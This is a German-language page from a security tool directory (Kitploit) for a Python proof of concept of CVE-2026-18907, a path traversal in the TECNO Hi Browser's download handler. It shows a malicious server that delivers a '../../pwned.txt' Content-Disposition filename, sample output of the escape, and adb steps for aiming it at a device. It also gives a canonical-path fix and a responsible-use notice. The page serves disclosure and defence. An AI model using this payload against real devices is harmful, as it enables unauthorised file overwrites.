Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal — Python-PoC für CVE-2026-18907 Path Traversal im Download-Handler des TECNO Hi Browser. Enthält einen bösartigen HTTP-Server und einen naiven Downloader, um den Fix zu demonstrieren. | Kitploit
Tools/GitHubGitHub/hunt-benito/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal
Android-SicherheitSchwachstellenanalyseExploitationMobile App-PenetrationstestsWebanwendungs-ExploitationWebsicherheitMobile Sicherheit
GitHubhunt-benito/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal

Python-PoC für CVE-2026-18907 Path Traversal im Download-Handler des TECNO Hi Browser. Enthält einen bösartigen HTTP-Server und einen naiven Downloader, um den Fix zu demonstrieren.

Repository anzeigen
8vor 29 TagenNoch nicht geprüft

CVE-2026-18907 — Pfad-Traversal im Download-Handler des TECNO Hi Browser

Proof-of-Concept für CVE-2026-18907 (CVSS 7.5 Hoch, CWE-23), eine relative Pfad-Traversal-Schwachstelle in der Download-Dateifunktion von TECNO Hi Browser (com.talpa.hibrowser) Version 2.23.1.1. Der Browser vertraute einem angreiferkontrollierten Content-Disposition-Dateinamen und fügte ihn ohne Bereinigung von Pfadtrennzeichen oder Prüfung des kanonischen Pfads an das Download-Verzeichnis an – daher konnten ../-Sequenzen im Dateinamen den Antworttext außerhalb von Download/ an jeden Pfad schreiben lassen, den die Speicherberechtigungen des Browsers erlauben.

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-18907
  • Herstellerhinweis (TECNO SRC): https://security.tecno.com/SRC/blogdetail/448?lang=en_US
  • Begleitartikel: https://www.hunt-benito.com/blog/two-dots-and-a-slash-cve-2026-18907-tecno-hi-browser-download-path-traversal/
  • Genannter Forscher: MUSTAFA SANLI
  • Status: in der neuesten Version des Hi Browser behoben (laut TECNO-Hinweis).

Dieses PoC enthält nicht das proprietäre com.talpa.hibrowser-APK. Es zeigt (a) die exakte bösartige HTTP-Auslieferung und (b) die Klasse der Grundursache des Fehlers (einen Downloader, der einem Antwortdateinamen als Pfadkomponente vertraut). Dasselbe Grundprinzip wird von CVE-2026-18907 beschrieben.

Dateien

DateiZweck
evil_server.pyDer bösartige HTTP-Server. Liefert eine Antwort, deren -Dateiname enthält. Das ist die .

Schnellstart

root@kitploit:~
# terminal 1 — start the delivery server
$ python3 evil_server.py
================================================================
 CVE-2026-18907 path-traversal delivery server
================================================================
 listening     : http://0.0.0.0:8000/
 traversal file: '../../pwned.txt'
 payload bytes : 43
----------------------------------------------------------------
 Point a vulnerable browser/downloader at the URL above.
 On a VULNERABLE client the file escapes the download dir.
================================================================

# terminal 2 — run the naive downloader against it
$ python3 naive_downloader.py --url http://127.0.0.1:8000/
================================================================
 CVE-2026-18907 naive downloader
================================================================
 download dir : /tmp/demo/Download
 Content-Disposition: attachment; filename="../../pwned.txt"
 parsed name  : '../../pwned.txt'
----------------------------------------------------------------
 [VULNERABLE] wrote 43 bytes -> /tmp/demo/Download/../../pwned.txt
              resolved -> /tmp/pwned.txt
              escaped download dir: True
 [FIXED]      wrote 43 bytes -> /tmp/demo/Download/pwned.txt
             ../ discarded by basename(); contained OK
================================================================

Die anfällige Verkettung erzeugte /tmp/demo/Download/../../pwned.txt, das Betriebssystem löste die .. auf, und die Datei wurde unter /tmp/pwned.txt abgelegt – außerhalb des Download-Verzeichnisses. Der korrigierte Pfad wandte zuerst os.path.basename() an (die ../-Sequenz ist Pfadinformation und wird verworfen, sodass pwned.txt übrig bleibt) und prüfte dann, ob der kanonische Pfad innerhalb des Download-Verzeichnisses blieb.

Browser darauf ausrichten

Starte evil_server.py auf einem Host, den das Testgerät erreichen kann, und navigiere dann mit einem anfälligen Browser zu http://<host>:8000/. Bei einem Browser, der attachment-Downloads automatisch startet und den Dateinamen nicht bereinigt, wird die Datei unter einem Pfad geschrieben, der durch die ../-Kette aufgelöst wird. Prüfe mit adb, dass die Eindämmung fehlgeschlagen ist:

root@kitploit:~
$ adb shell ls -la /sdcard/Download/         # nothing — name never landed here
$ adb shell find /sdcard -name pwned.txt
/sdcard/pwned.txt                            # escaped the download directory

Passe die Aufstiegstiefe mit --depth an das Gerät an (Standard 2 führt von /sdcard/Download/ zurück zu /sdcard/; erhöhe den Wert, um höher zu steigen) und den Ziel-Basisnamen mit --target.

Der Fix (eine Redewendung)

Für jeden Download-Manager lässt sich die gesamte CWE-23-Klasse auf zwei gemeinsam angewendete Gewohnheiten reduzieren:

  1. Auf einen Basisnamen reduzieren – alles bis einschließlich zum letzten / entfernen.
  2. Kanonische-Pfad-Eindämmung prüfen – nach dem Verketten den Pfad kanonisieren und sicherstellen, dass das Ergebnis immer noch mit dem vorgesehenen Verzeichnis beginnt.
root@kitploit:~
File base = downloadDir.getCanonicalFile();
File out  = new File(base, safeName).getCanonicalFile();
if (!out.toPath().startsWith(base.toPath())) {
    throw new SecurityException("refusing to write outside download dir: " + out);
}

Blackliste ../ nicht – die Menge der traversierungsäquivalenten Kodierungen ist offen. Kanonisiere und vergleiche dann. Dieser Algorithmus ist abgeschlossen.

Verantwortungsvolle Nutzung

Führe den Server nur in einem Netzwerk aus, das du kontrollierst, und teste nur an einem Gerät, das dir gehört. Ein Path-Traversal-Schreibzugriff ist per Definition eine Dateischreib-Primitive – richte ihn auf nichts, das du nicht bereit bist zu überschreiben.

Lizenz

MIT – siehe den Begleitartikel für vollständige Namensnennung und Primärquellen.

Tool herunterladen
Content-Disposition
../
Auslieferung
naive_downloader.pyEin minimaler Downloader, der das anfällige join(dir, filename)-Muster nachbildet, zusammen mit der korrigierten (Basename + Kanonische-Pfad-Prüfung) Version, damit du den Ausbruch in einem einzigen Lauf beobachten kannst.